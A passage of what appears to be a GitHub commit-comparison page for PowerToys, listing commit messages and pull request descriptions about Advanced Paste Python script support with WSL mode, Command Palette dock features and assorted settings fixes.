Compare commits

...

69 Commits

Author SHA1 Message Date
Muyuan Li (from Dev Box)
f283a568c3 Fix WSL distribution quoting and add distro dropdown in Settings UI
- Quote distro names with spaces in BuildWslArgs to prevent shell splitting
- Replace TextBox with ComboBox dropdown populated via 'wsl -l -q'
- Fix StyleCop SA1122 violation in _availableWslDistros initializer

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-30 14:27:23 +08:00
Muyuan Li (from Dev Box)
873aa42d7f Fix ToWslPath to handle UNC WSL paths (\\\\wsl.localhost\\...)
When the WSL scripts folder is set to a UNC path like
\\\\wsl.localhost\\Ubuntu\\mnt\\pscripts, ToWslPath would throw
'Not an absolute Windows path' since it only handled C:\\ format.

Now detects \\\\wsl.localhost\\ and \\\\wsl\$\\ UNC prefixes and
strips the prefix to produce the native Linux path (e.g. /mnt/pscripts).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-22 15:21:39 +08:00
Muyuan Li (from Dev Box)
32f6b9e18c Fix migration overriding mode when legacy fields coexist in JSON
The migration was running unconditionally when IsEnabled had a value,
even if Mode was already set to 'wsl' by the new Settings UI. This
caused WSL mode to revert to Windows on every settings load.

Fix: Only migrate if Mode is still 'disabled' (default). Always clear
legacy fields after loading. Add JsonIgnore(WhenWritingNull) to legacy
properties so they're never re-serialized.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-22 13:39:19 +08:00
Muyuan Li (from Dev Box)
240bf6957d Rename Python scripts mode labels for clarity
Card header: 'Python runtime' (was 'Enable Python scripts')
Options: 'Off' / 'Windows Python' / 'WSL Python'

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-17 14:21:03 +08:00
Muyuan Li (from Dev Box)
b3fe9f608e Replace enable/WSL toggles with mode dropdown (Disabled/Windows/WSL)
Each mode maintains independent settings:
- Windows mode: scriptsFolder + pythonExecutablePath
- WSL mode: scriptsFolder + distribution

Switching modes preserves previous settings so toggling back doesn't
lose configuration. Legacy settings (isEnabled/useWsl) are automatically
migrated on first load.

Settings model: Added PythonScriptWindowsSettings, PythonScriptWslSettings
as sub-objects. Main settings uses 'mode' field instead of booleans.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-16 16:38:33 +08:00
Muyuan Li (from Dev Box)
1af0dba08c Nest WSL distribution option under Use WSL toggle
Convert the Use WSL setting from a standalone SettingsCard to a
SettingsExpander. The WSL distribution textbox is now a child item
that only appears when the expander is open (bound to PythonUseWsl).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-16 14:41:36 +08:00
Muyuan Li (from Dev Box)
4d7575fcfb Make Python scripts list read-only in Settings page
Remove in-app editing of script name/description/enabled state for security.
The Settings page now shows a read-only list with:
- Script name and description (from header tags)
- Conversion summary (input → output from function name)
- Open in editor button to jump to the script file

Removed: PythonScriptEditDialog, EditPythonScript_Click,
ScriptEnabledToggle_Toggled, WriteScriptHeader, ApplySingleScriptChange,
ApplyPythonScriptChanges, GenerateHeaderText.

Added: InputType, OutputType, ConversionSummary properties to model,
function name parsing in CreateActionFromScript, OpenPythonScript_Click.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-15 16:42:10 +08:00
Muyuan Li (from Dev Box)
8c1cf09802 Add audio and video format support to Python extensions
- Update regex and ApInputTypeToFormat to recognize audio/video input types
- Add audio_path/video_path fields to input payload (Windows + WSL)
- Handle audio/video result types in ParseOutputAsync (Windows + WSL)
- Update _runner.py pattern, input_map, _apply_output_hint, _format_output
- Add 4 unit tests for audio/video metadata (input + output hints)
- Update documentation with audio/video in input/output tables

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-15 16:26:40 +08:00
Muyuan Li (from Dev Box)
796b232035 Fix empty space in Advanced Paste when filtering options
Changed grid row definitions from fixed-height/star to Auto so rows
collapse naturally when their content is filtered out during search.
Removed VerticalAlignment=Bottom on the standard formats list since
rows now auto-size to content.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-15 14:25:15 +08:00
Muyuan Li (from Dev Box)
a48efdb6cb Enable PromptBox always for search/filter functionality
The input box in Advanced Paste is now always enabled, not just when
AI is configured. Typing in the box filters the options list by name.
The AI send button remains gated by IsCustomAIAvailable. The AI
disclaimer footer is hidden when AI is not configured.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-15 12:10:40 +08:00
Muyuan Li (from Dev Box)
78d05c9082 Python scripts: mandatory _to_ format, single function per script, WSL support
- Function naming: advanced_paste_from_<input>_to_<output> is now the only
  supported format. The old format without _to_ is removed.
- Each script must define exactly one advanced_paste_from_* function.
- Added WSL execution path (ExecuteScriptViaWslAsync) for users with Python
  only in WSL.
- New settings: UseWsl toggle and WslDistribution text field in Settings UI.
- Runner sets ADVANCED_PASTE_WORK_DIR env var so file-output scripts write
  to Windows-accessible paths under /mnt/c/ when running in WSL.
- Updated unit tests: replaced InferFormatsFromSignature tests with
  ReadMetadata tests covering the new naming convention.
- Updated documentation with WSL mode instructions and work_dir guidance.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-15 10:32:18 +08:00
Muyuan Li (from Dev Box)
107c7c4cdc Fix image_path empty when clipboard bitmap not retrievable
- Use detectedFormat flags instead of clipboardData.Contains() for
  extraction decisions — avoids race condition where Contains() returns
  false after initial detection
- Wrap all clipboard data extraction in try-catch to gracefully handle
  stale clipboard state
- Remove format from array only when extraction actually fails
- Runner: improved fallback to prefer formats with available data

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-11 10:37:04 +08:00
Muyuan Li (from Dev Box)
4394357013 fix(AdvancedPaste): improve runner format matching for multi-format clipboard
When clipboard has multiple formats (e.g. [image, text]) but data for one
format is missing (e.g. image_path empty), the runner now picks the best
format that has both a matching function AND available data, instead of
blindly using the first format in the array.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-11 10:24:00 +08:00
Muyuan Li (from Dev Box)
214d80415a feat(AdvancedPaste): rename ap_from_* to advanced_paste_from_* for clarity
- Renamed function convention from ap_from_text/html/image/files to
  advanced_paste_from_text/html/image/files for explicit discoverability
- Updated C# regex detection, Python runner, and documentation
- Added multi-format demo script (reverse_all.py)
- Added AI summarize demo script (ai_summarize.py) using OpenAI

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-10 23:30:13 +08:00
Muyuan Li (from Dev Box)
7418da8806 feat(AdvancedPaste): named function interface (ap_from_*) with simplified settings UI
- Replaced V2 convert() with ap_from_text/html/image/files convention
- Auto-infer output type from return value (str, Path, list, dict)
- Simplified settings: only name, desc, disabled tag; DisplayName fallback to filename
- Placeholder text in edit dialog for empty name field
- Removed all V1/V2 legacy code and detection
- Scripts without ap_from_* are excluded from loading
- Updated documentation

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-06-10 23:16:09 +08:00
Muyuan Li (from Dev Box)
8778af2e32 Add InferFormatsFromSignature unit tests and fix mock
- Add 11 unit tests for V2 format inference from convert() signature
- Fix IntegrationTestUserSettings mock to implement IsPythonScriptsEnabled
- All 33 PythonScriptServiceTests pass

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-05-11 10:44:12 +08:00
Muyuan Li (from Dev Box)
aa3f1165b3 AdvancedPaste: V2 unified Python script interface with convert() function
Redesign the Python script extension interface to use a function-based
contract instead of platform-specific clipboard access:

- Scripts define a single convert() function that receives clipboard data
  as keyword arguments and returns the result
- Format support is inferred from the function's parameter names
  (text, html, image_path, file_paths, work_dir)
- Return value can be str, dict, Path, or list — runner normalizes it
- Platform tag eliminated — unified execution on Windows and WSL
- Only 'name' header remains required; desc, formats, platform all optional/inferred
- Ships _runner.py bootstrap that handles JSON stdin/stdout plumbing
- Full backward compat: scripts without convert() use legacy V1 paths

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-05-07 16:09:49 +08:00
Muyuan Li (from Dev Box)
df45e56511 WIP: AdvancedPaste ViewModel and test updates
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-05-07 15:57:44 +08:00
Muyuan Li (from Dev Box)
f8bca48db3 Settings UX: enable toggle, Load/Refresh button, greyed-out Apply
- Add master toggle to enable/disable Python scripts feature entirely
  (IsPythonScriptsEnabled in settings model, ViewModel, and runtime)
- Button shows 'Load scripts' initially, changes to 'Refresh scripts'
  after first load
- Edit dialog 'Apply changes' button is greyed out until a field changes
  (tracks initial snapshot vs current values for all fields)
- Runtime BuildPythonScriptFormats respects IsPythonScriptsEnabled

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 15:56:08 +08:00
Muyuan Li (from Dev Box)
5104d0846c Auto-apply on edit dialog and enable toggle, write-lock error fallback
- Remove Apply Changes button from parent expander
- Edit dialog now applies changes to file directly on confirm
- Enable toggle auto-applies changes immediately
- On write-lock (IOException), show error dialog with copyable header
  text and 'Copy header' button for manual paste fallback

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 15:39:03 +08:00
Muyuan Li (from Dev Box)
8ca6c4d2ec Add open-folder button, fix duplicate header tags on apply
- Add button to open scripts folder in File Explorer
- Fix WriteScriptHeader: duplicate tag lines (e.g. multiple desc) are now
  deduplicated — only the first occurrence is updated, extras are removed

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 15:13:54 +08:00
Muyuan Li (from Dev Box)
574aca841b Auto-refresh scripts, fix event handler leak, deep clone HotkeySettings, remove dead code
- Auto-refresh discovered scripts when ScriptsFolder changes
- ApplyPythonScriptChanges now refreshes after saving
- Fix event handler leak in EditPythonScript_Click (Toggled += lambda)
- Deep clone HotkeySettings in AdvancedPastePythonScriptAction.Clone()
- Remove unused WriteMetadata() and FormatFlagsToString() from PythonScriptService

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 14:48:55 +08:00
Muyuan Li (from Dev Box)
0833b68907 Advanced Paste: error details popup, enabled tag, and script settings page
- Error display: moved error UI from PromptBox to MainPage with Show Details
  button that opens a ContentDialog with the full error traceback
- Python scripts: added @advancedpaste:enabled header tag to control script
  visibility in the paste menu (default: true)
- Settings page: added Discovered Scripts section with Refresh/Apply buttons,
  per-script enable toggle, and edit dialog for name, description, platform,
  supported formats, and dependency detection mode (auto/manual)
- Model: extended AdvancedPastePythonScriptAction with IsEnabled, Platform,
  Formats, Requires, and RequiresAutoDetect properties
- ViewModel: added RefreshPythonScripts() to scan folder and read headers,
  ApplyPythonScriptChanges() to write metadata back to script files
- Build: added vswhere -all fallback in build-common.ps1

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-16 17:49:02 +08:00
Muyuan Li
2051c13bf9 Improve Python script error handling and prevent freezes
- Extract script name, line, and column from Python tracebacks in error summaries
- Add ParsePipInstallError to show concise pip errors with full stderr in details tooltip
- Add timeouts to pip install (Windows/WSL) and import-check subprocesses to prevent UI freezes
- Add PythonPackageInstallTimeout resource string
- Add unit tests for all new parsing logic
2026-04-15 16:10:49 +08:00
Muyuan Li
4c7bf3df79 [AdvancedPaste] Python scripts: docs, custom folder, auto-import detection, better errors
1. Script header documentation (doc/devdocs/modules/advancedpaste-python-scripts.md)
   - Complete reference for all @advancedpaste: header tags
   - Windows and WSL/Linux execution mode protocols
   - Declaring dependencies, security trust model, error handling
   - Example scripts for both platforms

2. Custom scripts folder setting in Settings UI
   - Added ScriptsFolder property to AdvancedPasteViewModel
   - Added SettingsCard with TextBox + Browse folder dialog in XAML
   - Added localization strings for the new setting

3. Auto-detect missing Python modules from import statements
   - Scans script body for import/from-import statements
   - Filters Python stdlib modules (CPython 3.12 set)
   - Well-known import-to-pip mapping table (pywin32, Pillow, opencv-python, etc.)
   - Merges auto-detected imports with explicit @advancedpaste:requires entries
   - Explicit requires always take precedence

4. Better error messages for Python script failures
   - Parses stderr to extract the final Python exception line
   - User-friendly summaries for ModuleNotFoundError, SyntaxError, etc.
   - ModuleNotFoundError includes pip install hint from the mapping table
   - Full traceback available in Details section of the error UI

Added 12 unit tests for MergeWithAutoDetectedImports and ParsePythonError.
Fixed IntegrationTestUserSettings mock to implement IUserSettings Python members.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-02 16:56:42 +08:00
Shawn Yuan
879163f48e add metadata analyse
Signed-off-by: Shawn Yuan <shuaiyuan@microsoft.com>
2026-03-04 12:54:51 +08:00
Shawn Yuan
4b84c00300 update 2026-03-02 11:46:23 +08:00
Shawn Yuan
6062bdc2f8 Make AP support Python extension
Signed-off-by: Shawn Yuan <shuaiyuan@microsoft.com>
2026-03-02 10:26:20 +08:00
Ruthie Sun
3e1b07f52c Color picker - Lab format: use roundoff optional #13603 (#42986)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The default CIELab format rounds the values to two decimal places, which
is a degree of precision that isn't always needed. This PR adds an
optional formatting character (i) to the three CIELab format parameters,
which rounds the value to the nearest integer.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #13603/#14863. Note that in the discussion for #13603,
there are some additional suggestions that this PR doesn't address.
- [ ] **Communication:** Haven't gotten the green light for this
approach with the core contributors yet. Happy to pivot to a different
approach if needed.
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

In the case where a or b get rounded to -0 (e.g. -0.0001 rounds to -0),
the negative sign gets removed. However, I noticed during testing that
the default format (rounding to two decimal places) retains the negative
sign in these situations (see third screenshot). I can a) revert to
keeping the -0 for the new rounding behavior, b) change -0 to 0 for
other rounded values, or c) leave it as-is. Also open to suggestions.

I can update the docs as well, if we're happy with the approach.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Settings: Can change the default CIELab format to display rounded
values
- Settings: Can create a custom format with rounded CIELab values
- Color Picker: Rounded values are displayed when hovering and as a
saved color
<img width="1076" height="1520" alt="powertoys-cielab"
src="https://github.com/user-attachments/assets/8a67142d-d7f4-49bc-b1ba-ad9304235218"
/>
<img width="447" height="390" alt="powertoys-cielab-selected"
src="https://github.com/user-attachments/assets/c96d3bc9-cac7-4470-af3f-b2bce78d0915"
/>
<img width="445" height="389" alt="powertoys-cielab-selected-0"
src="https://github.com/user-attachments/assets/c329bc5b-c18a-4f61-a808-0fa5050e09ed"
/>

---------

Co-authored-by: vanzue <vanzue@outlook.com>
2026-02-27 23:12:58 +01:00
Jiří Polášek
96e6542cf1 Dock: Replace IsShownInSwitchers with HiddenOwnerWindowBehavior in DockWindow (#45839)
## Summary of the Pull Request

This PR replaces the use of the property AppWindow.IsShownInSwitchers,
which requires a running explorer.exe instance, with
HiddenOwnerWindowBehavior. This behavior is used by MainWindow and
ToastWindow to hide the window by utilizing both the Tool Window style
and a safely invoked IsShownInSwitchers.
2026-02-27 21:11:27 +00:00
Jiří Polášek
12fac01ee1 CmdPal: Add settings to hide non-apps from results (#45741)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR adds new options to the All Apps built-in extension:

- Also include non-app shortcuts from the Start menu
  - Enabled by default
- Also include non-app shortcuts from the desktop
  - Disabled by default

The default states reflect that Start menu shortcuts are largely curated
by installers, and the Start menu itself typically does not surface
non-app items. Desktop shortcuts, on the other hand, are more likely to
be created by the user.

<img width="812" height="499" alt="image"
src="https://github.com/user-attachments/assets/de6c4723-0b52-4606-98fa-469364f5648e"
/>
2026-02-27 14:35:49 -06:00
Jiří Polášek
f2788f2e09 CmdPal: Supress CsWinRT1028 on source generated interop types (#45827)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR add local suppression of CsWinRT1028 (not marked partial) for
`Windows.Win32.UnhookWinEventSafeHandle` and
`Windows.Win32.DeleteObjectSafeHandle`

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #42574
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 12:58:54 -06:00
Mike Griese
5dea1980ad CmdPal: some dock data (#45832)
we want to know what the people want

re: #45584
2026-02-27 12:22:14 -06:00
Mike Griese
e74692815f Dock: deal with multiple appbars on the same side (#45831)
notes inline with code. Need to adjust the opposite side of the appbar
for our size.

These APIs are documented so well, it's no wonder more folks don't use
them 🙃

related to #45824
tracked in #45584

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 12:22:02 -06:00
Jiří Polášek
8c1e4f16fe CmdPal: Add null check before caching view model for item (#45815) 2026-02-27 11:20:19 -06:00
Jiří Polášek
e653b4ad37 CmdPal: Remove OneWay binding mode from bands ItemsRepeater (#45833)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

This PR removes OneWay binding mode from ItemsRepeater with bands in
Dock settings page. The page doesn't provide any means for property
change notification, so the binding can never be refreshed anyway and it
cases XAML compiler to emit a warning `WMC1506: OneWay bindings require
at least one of their steps to support raising notifications when their
value change`

- [x] Related to: #42574 
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 11:13:48 -06:00
Mike Griese
70bf430d9f CmdPal: Add a dock (#45824)
Add support for a "dock" window in CmdPal. The dock is a toolbar powered
by the `APPBAR` APIs. This gives you a persistent region to display
commands for quick shortcuts or glanceable widgets.

The dock can be pinned to any side of the screen.
The dock can be independently styled with any of the theming controls
cmdpal already has
The dock has three "regions" to pin to - the "start", the "center", and
the "end".
Elements on the dock are grouped as "bands", which contains a set of
"items". Each "band" is one atomic unit. For example, the Media Player
extension produces 4 items, but one _band_.
The dock has only one size (for now)
The dock will only appear on your primary display (for now)

This PR includes support for pinning arbitrary top-level commands to the
dock - however, we're planning on replacing that with a more universal
ability to pin any command to the dock or top level. (see #45191). This
is at least usable for now.

This is definitely still _even more preview_ than usual PowerToys
features, but it's more than usable. I'd love to get it out there and
start collecting feedback on where to improve next. I'll probably add a
follow-up issue for tracking the remaining bugs & nits.

closes #45201

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 13:24:23 +00:00
Kai Tao
494c14fb88 Always on top: window context menu to always on top (#45773)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Add an option to enable inject a window context menu to always on top
this window.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45638 #15387
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

https://github.com/user-attachments/assets/37eb3f74-1ccc-42f2-83c3-1100f55765ee

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 16:45:35 +08:00
Alex Mihaiuc
6c806aa08c Make the ZoomIt AAC audio track depend on system audio or audio input (#45700)
When neither option is selected, then the resulting .mp4 container won't
have an audio track added to it.
This is due to the recent audio input addition. As a result, all .mp4
recordings now have an audio track, even if empty. Restoring the prior
functionality, where just the h264 video is present on no audio.

## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 19:27:19 +01:00
Mike Griese
7a0e4ac891 CmdPal: Add context commands for pinning nested commands (#45673)
_targets #45572_

This change allows our contact menu factory to actually create and add
additional context menu commands for pinning commands to the top level.
Now for any command provider built with the latest SDK that return
subcommands with an ID, we will add additional context menu commands
that allows you to pin that command to the top level.

<img width="540" height="181" alt="image"
src="https://github.com/user-attachments/assets/6c2cfe3c-4143-44d1-9308-bfc71db4c842"
/>
<img width="729" height="317" alt="image"
src="https://github.com/user-attachments/assets/4ff75c9f-1f35-4c1e-a03e-6fab5cbab423"
/>

related to https://github.com/microsoft/PowerToys/issues/45191
related to https://github.com/microsoft/PowerToys/issues/45201


This PR notably does not remove pinning from the apps extension. I
thought that made sense to do as a follow-up PR for the sake of
reviewability.

--- 

description from #45676 which was merged into this

Removes the code that the apps provider was using to support pinning
apps to the top level list of commands. Now the all apps provider just
uses the global support for pinning commands to the top level.

This does have the side effect of removing the separation of pinned apps
from unpinned apps on the All Apps page. However, we all pretty much
agree that wasn't a particularly widely used feature, and it's safe to
remove.

With this, we can finally call this issue done 🎉
closes https://github.com/microsoft/PowerToys/issues/45191
2026-02-26 16:09:17 +00:00
Kai Tao
cdeae7c854 Mouse Utilities: Remove newinfo badge for cursor wrap (#45803)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
as title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

<img width="1665" height="443" alt="image"
src="https://github.com/user-attachments/assets/9a5488c4-dea0-47a4-bf5c-f60820176d50"
/>
2026-02-26 13:48:16 +00:00
Jiří Polášek
9ae355b963 CmdPal: Fix All Apps search result limit default (#45804)
## Summary of the Pull Request

This PR adds a new default option to the All Apps extension settings.

- Adds an explicit "Default (n)" option to the choices list as the
default. This option is not tied to a concrete number of items, allowing
the value to change in the future.
- Fixes backward compatibility for users who installed the extension
when `"0"` was accidentally used as the default search result limit
(d07f40eec3). Existing `"0"` values are now treated as "use default
(10)" instead of producing zero results.
- Renames the intentional "0 results" setting value from `"0"` to
`"none"` so it can be clearly distinguished from the previous accidental
default.
- Moves result-limit parsing from `AllAppsCommandProvider` into
`AllAppsSettings`, exposing a parsed `int?` property instead of a raw
string.
- Adds `IgnoreUnknownValue` to `ChoiceSetSetting` so unrecognized stored
values (such as the old `"0"`) are silently ignored on load, preserving
the initialized default.
- Without this the drop-down value in the adaptive card shows as empty.

<img width="842" height="226" alt="image"
src="https://github.com/user-attachments/assets/ae79f173-2e81-43d8-9103-c548ff6e0dc1"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
